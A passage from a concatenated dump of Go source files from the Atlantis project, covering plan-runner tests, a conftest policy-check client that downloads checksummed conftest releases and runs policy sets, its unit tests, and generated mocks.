RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockDefaultRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Ok(t, err) }) t.Run("Remote Runner Failure", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockDefaultRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Assert(t, err != nil, "err should not be nil") }) t.Run("Local Runner Success", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte(planFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockRemoteRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Ok(t, err) }) t.Run("Local Runner Failure", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte(planFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockRemoteRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Assert(t, err != nil, "err should not be nil") }) } var openTofuPlanFileContents = ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy OpenTofu will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.` func TestRunDelegate_UsesConfiguredDistribution(t *testing.T) { RegisterMockTestingT(t) mockDefaultRunner := mocks.NewMockRunner() mockRemoteRunner := mocks.NewMockRunner() subject := &planTypeStepRunnerDelegate{ defaultRunner: mockDefaultRunner, remotePlanRunner: mockRemoteRunner, } tfDistribution := "opentofu" tfVersion, _ := version.NewVersion("1.7.0") t.Run("Remote Runner Success", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+openTofuPlanFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformDistribution: &tfDistribution, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockDefaultRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Ok(t, err) }) t.Run("Remote Runner Failure", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+openTofuPlanFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformDistribution: &tfDistribution, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockRemoteRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockDefaultRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Assert(t, err != nil, "err should not be nil") }) t.Run("Local Runner Success", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte(openTofuPlanFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformDistribution: &tfDistribution, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, nil) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockRemoteRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Ok(t, err) }) t.Run("Local Runner Failure", func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, []byte(openTofuPlanFileContents), 0600) Ok(t, err) ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformDistribution: &tfDistribution, TerraformVersion: tfVersion, } extraArgs := []string{"extra", "args"} envs := map[string]string{} expectedOut := "some random output" When(mockDefaultRunner.Run(ctx, extraArgs, tmpDir, envs)).ThenReturn(expectedOut, errors.New("err")) output, err := subject.Run(ctx, extraArgs, tmpDir, envs) mockRemoteRunner.VerifyWasCalled(Never()) Equals(t, expectedOut, output) Assert(t, err != nil, "err should not be nil") }) } ================================================ FILE: server/core/runtime/policy/conftest_client.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package policy import ( "context" "errors" "fmt" "os" "path/filepath" "runtime" "strings" "encoding/json" "regexp" "github.com/hashicorp/go-getter/v2" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime/cache" runtime_models "github.com/runatlantis/atlantis/server/core/runtime/models" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" ) const ( DefaultConftestVersionEnvKey = "DEFAULT_CONFTEST_VERSION" conftestBinaryName = "conftest" conftestDownloadURLPrefix = "https://github.com/open-policy-agent/conftest/releases/download/v" ) type Arg struct { Param string Option string } func (a Arg) build() []string { return []string{a.Option, a.Param} } func NewPolicyArg(parameter string) Arg { return Arg{ Param: parameter, Option: "-p", } } type ConftestTestCommandArgs struct { PolicyArgs []Arg ExtraArgs []string InputFile string Command string } func (c ConftestTestCommandArgs) build() ([]string, error) { if len(c.PolicyArgs) == 0 { return []string{}, errors.New("no policies specified") } // add the subcommand commandArgs := []string{c.Command, "test"} for _, a := range c.PolicyArgs { commandArgs = append(commandArgs, a.build()...) } // add hardcoded options commandArgs = append(commandArgs, c.InputFile, "--no-color") // add extra args provided through server config commandArgs = append(commandArgs, c.ExtraArgs...) return commandArgs, nil } // SourceResolver resolves the policy set to a local fs path // //go:generate pegomock generate --package mocks -o mocks/mock_conftest_client.go SourceResolver type SourceResolver interface { Resolve(policySet valid.PolicySet) (string, error) } // LocalSourceResolver resolves a local policy set to a local fs path type LocalSourceResolver struct { } func (p *LocalSourceResolver) Resolve(policySet valid.PolicySet) (string, error) { return policySet.Path, nil } // SourceResolverProxy proxies to underlying source resolvers dynamically type SourceResolverProxy struct { localSourceResolver SourceResolver } func (p *SourceResolverProxy) Resolve(policySet valid.PolicySet) (string, error) { switch source := policySet.Source; source { case valid.LocalPolicySet: return p.localSourceResolver.Resolve(policySet) default: return "", fmt.Errorf("unable to resolve policy set source %s", source) } } //go:generate pegomock generate --package mocks -o mocks/mock_downloader.go Downloader type Downloader interface { GetAny(dst, src string) error } type ConfTestGoGetterVersionDownloader struct{} func (c ConfTestGoGetterVersionDownloader) GetAny(dst, src string) error { _, err := getter.GetAny(context.Background(), dst, src) return err } type ConfTestVersionDownloader struct { downloader Downloader } func (c ConfTestVersionDownloader) downloadConfTestVersion(v *version.Version, destPath string) (runtime_models.FilePath, error) { versionURLPrefix := fmt.Sprintf("%s%s", conftestDownloadURLPrefix, v.Original()) conftestPlatform := getPlatform() if conftestPlatform == "" { return runtime_models.LocalFilePath(""), fmt.Errorf("don't know where to find conftest for %s on %s", runtime.GOOS, runtime.GOARCH) } // download binary in addition to checksum file binURL := fmt.Sprintf("%s/conftest_%s_%s.tar.gz", versionURLPrefix, v.Original(), conftestPlatform) checksumURL := fmt.Sprintf("%s/checksums.txt", versionURLPrefix) // underlying implementation uses go-getter so the URL is formatted as such. // i know i know, I'm assuming an interface implementation with my inputs. // realistically though the interface just exists for testing so ¯\_(ツ)_/¯ fullSrcURL := fmt.Sprintf("%s?checksum=file:%s", binURL, checksumURL) if err := c.downloader.GetAny(destPath, fullSrcURL); err != nil { return runtime_models.LocalFilePath(""), fmt.Errorf("downloading conftest version %s at %q: %w", v.String(), fullSrcURL, err) } binPath := filepath.Join(destPath, "conftest") return runtime_models.LocalFilePath(binPath), nil } // ConfTestExecutorWorkflow runs a versioned conftest binary with the args built from the project context. // Project context defines whether conftest runs a local policy set or runs a test on a remote policy set. type ConfTestExecutorWorkflow struct { SourceResolver SourceResolver VersionCache cache.ExecutionVersionCache DefaultConftestVersion *version.Version Exec runtime_models.Exec } func NewConfTestExecutorWorkflow(log logging.SimpleLogging, versionRootDir string, conftestDownloder Downloader) *ConfTestExecutorWorkflow { downloader := ConfTestVersionDownloader{ downloader: conftestDownloder, } version, err := getDefaultVersion() if err != nil { // conftest default versions are not essential to service startup so let's not block on it. log.Info("failed to get default conftest version. Will attempt request scoped lazy loads %s", err.Error()) } versionCache := cache.NewExecutionVersionLayeredLoadingCache( conftestBinaryName, versionRootDir, downloader.downloadConfTestVersion, ) return &ConfTestExecutorWorkflow{ VersionCache: versionCache, DefaultConftestVersion: version, SourceResolver: &SourceResolverProxy{ localSourceResolver: &LocalSourceResolver{}, }, Exec: runtime_models.LocalExec{}, } } func (c *ConfTestExecutorWorkflow) Run(ctx command.ProjectContext, executablePath string, envs map[string]string, workdir string, extraArgs []string) (string, error) { ctx.Log.Debug("policy sets, %s ", ctx.PolicySets) inputFile := filepath.Join(workdir, ctx.GetShowResultFileName()) var policySetResults []models.PolicySetResult var combinedErr error for _, policySet := range ctx.PolicySets.PolicySets { path, resolveErr := c.SourceResolver.Resolve(policySet) // Let's not fail the whole step because of a single failure. Log and fail silently if resolveErr != nil { ctx.Log.Err("Error resolving policyset %s. err: %s", policySet.Name, resolveErr.Error()) continue } args := ConftestTestCommandArgs{ PolicyArgs: []Arg{NewPolicyArg(path)}, ExtraArgs: extraArgs, InputFile: inputFile, Command: executablePath, } serializedArgs, _ := args.build() cmdOutput, cmdErr := c.Exec.CombinedOutput(serializedArgs, envs, workdir) if cmdErr != nil { // Since we're running conftest for each policyset, individual command errors should be concatenated. if isValidConftestOutput(cmdOutput) { combinedErr = errors.Join(combinedErr, fmt.Errorf("policy_set: %s: conftest: some policies failed", policySet.Name)) } else { combinedErr = errors.Join(combinedErr, fmt.Errorf("policy_set: %s: conftest: %s", policySet.Name, cmdOutput)) } } passed := true if cmdErr != nil || hasFailures(cmdOutput) { passed = false } policySetResults = append(policySetResults, models.PolicySetResult{ PolicySetName: policySet.Name, PolicyOutput: cmdOutput, Passed: passed, ReqApprovals: policySet.ApproveCount, }) } if policySetResults == nil { ctx.Log.Warn("no policies have been configured.") return "", nil // TODO: enable when we can pass policies in otherwise e2e tests with policy checks fail // return "", errors.Wrap(err, "building args") } marshaledStatus, err := json.Marshal(policySetResults) if err != nil { return "", errors.New("cannot marshal data into []PolicySetResult. data") } // Write policy check results to a file which can be used by custom workflow run steps for metrics, notifications, etc. policyCheckResultFile := filepath.Join(workdir, ctx.GetPolicyCheckResultFileName()) err = os.WriteFile(policyCheckResultFile, marshaledStatus, 0600) combinedErr = errors.Join(combinedErr, err) output := string(marshaledStatus) return c.sanitizeOutput(inputFile, output), combinedErr } func (c *ConfTestExecutorWorkflow) sanitizeOutput(inputFile string, output string) string { return strings.ReplaceAll(output, inputFile, "") } func (c *ConfTestExecutorWorkflow) EnsureExecutorVersion(log logging.SimpleLogging, v *version.Version) (string, error) { // we have no information to proceed, so fallback to `conftest` command or fail hard if c.DefaultConftestVersion == nil && v == nil { localPath, err := c.Exec.LookPath(conftestBinaryName) if err == nil { log.Info("conftest version is not specified, so fallback to conftest command") return localPath, nil } return "", errors.New("no conftest version configured/specified or not found conftest command") } var versionToRetrieve *version.Version if v == nil { versionToRetrieve = c.DefaultConftestVersion } else { versionToRetrieve = v } localPath, err := c.VersionCache.Get(versionToRetrieve) if err != nil { return "", err } return localPath, nil } func getDefaultVersion() (*version.Version, error) { // ensure version is not default version. // first check for the env var and if that doesn't exist use the local executable version defaultVersion, exists := os.LookupEnv(DefaultConftestVersionEnvKey) if !exists { return nil, fmt.Errorf("%s not set", DefaultConftestVersionEnvKey) } wrappedVersion, err := version.NewVersion(defaultVersion) if err != nil { return nil, fmt.Errorf("wrapping version %s: %w", defaultVersion, err) } return wrappedVersion, nil } // Checks if output from conftest is a valid output. func isValidConftestOutput(output string) bool { r := regexp.MustCompile(`^(WARN|FAIL|\[)`) if match := r.FindString(output); match != "" { return true } return false } // hasFailures checks whether any conftest policies have failed func hasFailures(output string) bool { r := regexp.MustCompile(`([1-9]([0-9]?)* failure|failures": \[)`) if match := r.FindString(output); match != "" { return true } return false } func getPlatform() string { platform := runtime.GOOS + "_" + runtime.GOARCH switch platform { case "linux_amd64": return "Linux_x86_64" case "linux_arm64": return "Linux_arm64" case "darwin_amd64": return "Darwin_x86_64" case "darwin_arm64": return "Darwin_arm64" default: return "" } } ================================================ FILE: server/core/runtime/policy/conftest_client_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package policy import ( "errors" "fmt" "path/filepath" "testing" "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/config/valid" "github.com/runatlantis/atlantis/server/core/runtime/cache/mocks" models_mocks "github.com/runatlantis/atlantis/server/core/runtime/models/mocks" conftest_mocks "github.com/runatlantis/atlantis/server/core/runtime/policy/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestConfTestVersionDownloader(t *testing.T) { version, _ := version.NewVersion("0.25.0") destPath := "some/path" platform := getPlatform() fullURL := fmt.Sprintf("https://github.com/open-policy-agent/conftest/releases/download/v0.25.0/conftest_0.25.0_%s.tar.gz?checksum=file:https://github.com/open-policy-agent/conftest/releases/download/v0.25.0/checksums.txt", platform) RegisterMockTestingT(t) mockDownloader := conftest_mocks.NewMockDownloader() subject := ConfTestVersionDownloader{ downloader: mockDownloader, } t.Run("success", func(t *testing.T) { binPath, err := subject.downloadConfTestVersion(version, destPath) mockDownloader.VerifyWasCalledOnce().GetAny(Eq(destPath), Eq(fullURL)) Ok(t, err) Assert(t, binPath.Resolve() == filepath.Join(destPath, "conftest"), "expected binpath") }) t.Run("error", func(t *testing.T) { When(mockDownloader.GetAny(Eq(destPath), Eq(fullURL))).ThenReturn(errors.New("err")) _, err := subject.downloadConfTestVersion(version, destPath) Assert(t, err != nil, "err is expected") }) } func TestEnsureExecutorVersion(t *testing.T) { defaultVersion, _ := version.NewVersion("1.0") expectedPath := "some/path" RegisterMockTestingT(t) mockCache := mocks.NewMockExecutionVersionCache() mockExec := models_mocks.NewMockExec() log := logging.NewNoopLogger(t) t.Run("no specified version or default version without conftest command", func(t *testing.T) { subject := &ConfTestExecutorWorkflow{ VersionCache: mockCache, Exec: mockExec, } When(mockExec.LookPath(Any[string]())).ThenReturn("", errors.New("not found")) _, err := subject.EnsureExecutorVersion(log, nil) Assert(t, err != nil, "expected error finding version") }) t.Run("no specified version or default version with conftest command", func(t *testing.T) { subject := &ConfTestExecutorWorkflow{ VersionCache: mockCache, Exec: mockExec, } When(mockExec.LookPath(Any[string]())).ThenReturn(expectedPath, nil) path, err := subject.EnsureExecutorVersion(log, nil) Ok(t, err) Assert(t, path == expectedPath, "path is expected") }) t.Run("use default version", func(t *testing.T) { subject := &ConfTestExecutorWorkflow{ VersionCache: mockCache, DefaultConftestVersion: defaultVersion, } When(mockCache.Get(defaultVersion)).ThenReturn(expectedPath, nil) path, err := subject.EnsureExecutorVersion(log, nil) Ok(t, err) Assert(t, path == expectedPath, "path is expected") }) t.Run("use specified version", func(t *testing.T) { subject := &ConfTestExecutorWorkflow{ VersionCache: mockCache, DefaultConftestVersion: defaultVersion, } versionInput, _ := version.NewVersion("2.0") When(mockCache.Get(versionInput)).ThenReturn(expectedPath, nil) path, err := subject.EnsureExecutorVersion(log, versionInput) Ok(t, err) Assert(t, path == expectedPath, "path is expected") }) t.Run("cache error", func(t *testing.T) { subject := &ConfTestExecutorWorkflow{ VersionCache: mockCache, DefaultConftestVersion: defaultVersion, } versionInput, _ := version.NewVersion("2.0") When(mockCache.Get(versionInput)).ThenReturn(expectedPath, errors.New("some err")) _, err := subject.EnsureExecutorVersion(log, versionInput) Assert(t, err != nil, "path is expected") }) } func TestRun(t *testing.T) { RegisterMockTestingT(t) mockResolver := conftest_mocks.NewMockSourceResolver() mockExec := models_mocks.NewMockExec() subject := &ConfTestExecutorWorkflow{ SourceResolver: mockResolver, Exec: mockExec, } log := logging.NewNoopLogger(t) policySetName1 := "policy1" policySetPath1 := "/some/path" localPolicySetPath1 := "/tmp/some/path" policySetName2 := "policy2" policySetPath2 := "/some/path2" localPolicySetPath2 := "/tmp/some/path2" executablePath := "/usr/bin/conftest" envs := map[string]string{ "key": "val", } workdir := t.TempDir() policySet1 := valid.PolicySet{ Source: valid.LocalPolicySet, Path: policySetPath1, Name: policySetName1, } policySet2 := valid.PolicySet{ Source: valid.LocalPolicySet, Path: policySetPath2, Name: policySetName2, } ctx := command.ProjectContext{ PolicySets: valid.PolicySets{ PolicySets: []valid.PolicySet{ policySet1, policySet2, }, }, ProjectName: "testproj", Workspace: "default", Log: log, } t.Run("success", func(t *testing.T) { var extraArgs []string expectedOutput := "Success" expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil) When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil) result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) fmt.Println(result) Ok(t, errors.Unwrap(err)) Assert(t, result == expectedResult, "result is expected") }) t.Run("success extra args", func(t *testing.T) { extraArgs := []string{"--all-namespaces"} expectedOutput := "Success" expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"","Passed":true,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil) When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil) result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) fmt.Println(result) Ok(t, errors.Unwrap(err)) Assert(t, result == expectedResult, "result is expected") }) t.Run("error resolving one policy source", func(t *testing.T) { var extraArgs []string expectedOutput := "Success" expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) When(mockResolver.Resolve(policySet2)).ThenReturn("", errors.New("err")) When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, nil) When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, nil) result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) Ok(t, errors.Unwrap(err)) Assert(t, result == expectedResult, "result is expected") }) t.Run("error resolving both policy sources", func(t *testing.T) { var extraArgs []string expectedResult := "" expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn("", errors.New("err")) When(mockResolver.Resolve(policySet2)).ThenReturn("", errors.New("err")) When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedResult, nil) result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) Ok(t, err) Assert(t, result == "", "result is expected") }) t.Run("error running one cmd", func(t *testing.T) { var extraArgs []string expectedOutputPolicy1 := fmt.Sprintf("FAIL - %s - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions", filepath.Join(workdir, "testproj-default.json")) expectedOutputPolicy2 := "Success" expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"FAIL - - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions","Passed":false,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"Success","Passed":true,"ReqApprovals":0,"CurApprovals":0}]` expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutputPolicy1, errors.New("exit status code 1")) When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutputPolicy2, nil) result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) Equals(t, result, expectedResult) Assert(t, err != nil, "error is expected") }) t.Run("error running both cmds", func(t *testing.T) { var extraArgs []string expectedOutput := fmt.Sprintf("FAIL - %s - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions", filepath.Join(workdir, "testproj-default.json")) expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"FAIL - - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions","Passed":false,"ReqApprovals":0,"CurApprovals":0},{"PolicySetName":"policy2","PolicyOutput":"FAIL - - failure\n1 tests, 0 passed, 0 warnings, 1 failure, 0 exceptions","Passed":false,"ReqApprovals":0,"CurApprovals":0}]` expectedArgsPolicy1 := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} expectedArgsPolicy2 := []string{executablePath, "test", "-p", localPolicySetPath2, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) When(mockResolver.Resolve(policySet2)).ThenReturn(localPolicySetPath2, nil) When(mockExec.CombinedOutput(expectedArgsPolicy1, envs, workdir)).ThenReturn(expectedOutput, errors.New("exit status code 1")) When(mockExec.CombinedOutput(expectedArgsPolicy2, envs, workdir)).ThenReturn(expectedOutput, errors.New("exit status code 1")) result, err := subject.Run(ctx, executablePath, envs, workdir, extraArgs) Equals(t, result, expectedResult) Assert(t, err != nil, "error is expected") }) t.Run("parse error should fail policy", func(t *testing.T) { var extraArgs []string // Simulate a Rego parse error output parseErrorOutput := "Error: running test: load: loading policies: load: 2 errors occurred during loading:" expectedResult := `[{"PolicySetName":"policy1","PolicyOutput":"Error: running test: load: loading policies: load: 2 errors occurred during loading:","Passed":false,"ReqApprovals":0,"CurApprovals":0}]` expectedArgsPolicy := []string{executablePath, "test", "-p", localPolicySetPath1, filepath.Join(workdir, "testproj-default.json"), "--no-color"} When(mockResolver.Resolve(policySet1)).ThenReturn(localPolicySetPath1, nil) When(mockExec.CombinedOutput(expectedArgsPolicy, envs, workdir)).ThenReturn(parseErrorOutput, errors.New("exit status code 1")) ctxSinglePolicy := command.ProjectContext{ PolicySets: valid.PolicySets{ PolicySets: []valid.PolicySet{policySet1}, }, ProjectName: "testproj", Workspace: "default", Log: log, } result, err := subject.Run(ctxSinglePolicy, executablePath, envs, workdir, extraArgs) Equals(t, result, expectedResult) Assert(t, err != nil, "error is expected") }) } ================================================ FILE: server/core/runtime/policy/mocks/mock_conftest_client.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime/policy (interfaces: SourceResolver) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" valid "github.com/runatlantis/atlantis/server/core/config/valid" "reflect" "time" ) type MockSourceResolver struct { fail func(message string, callerSkip ...int) } func NewMockSourceResolver(options ...pegomock.Option) *MockSourceResolver { mock := &MockSourceResolver{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockSourceResolver) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockSourceResolver) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockSourceResolver) Resolve(policySet valid.PolicySet) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockSourceResolver().") } _params := []pegomock.Param{policySet} _result := pegomock.GetGenericMockFrom(mock).Invoke("Resolve", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockSourceResolver) VerifyWasCalledOnce() *VerifierMockSourceResolver { return &VerifierMockSourceResolver{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockSourceResolver) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSourceResolver { return &VerifierMockSourceResolver{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockSourceResolver) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSourceResolver { return &VerifierMockSourceResolver{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockSourceResolver) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSourceResolver { return &VerifierMockSourceResolver{ mock: mock, invocationCountMatcher: invocationCountMatcher, timeout: timeout, } } type VerifierMockSourceResolver struct { mock *MockSourceResolver invocationCountMatcher pegomock.InvocationCountMatcher inOrderContext *pegomock.InOrderContext timeout time.Duration } func (verifier *VerifierMockSourceResolver) Resolve(policySet valid.PolicySet) *MockSourceResolver_Resolve_OngoingVerification { _params := []pegomock.Param{policySet} methodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, "Resolve", _params, verifier.timeout) return &MockSourceResolver_Resolve_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations} } type MockSourceResolver_Resolve_OngoingVerification struct { mock *MockSourceResolver methodInvocations []pegomock.MethodInvocation } func (c *MockSourceResolver_Resolve_OngoingVerification) GetCapturedArguments() valid.PolicySet { policySet := c.GetAllCapturedArguments() return policySet[len(policySet)-1] } func (c *MockSourceResolver_Resolve_OngoingVerification) GetAllCapturedArguments() (_param0 []valid.PolicySet) { _params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations) if len(_params) > 0 { if len(_params) > 0 { _param0 = make([]valid.PolicySet, len(c.methodInvocations)) for u, param := range _params[0] { _param0[u] = param.(valid.PolicySet) } } } return } ================================================ FILE: server/core/runtime/policy/mocks/mock_downloader.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime/policy (interfaces: Downloader) package mocks import ( pegomock "github.com/petergtz/pegomock/v4" "reflect" 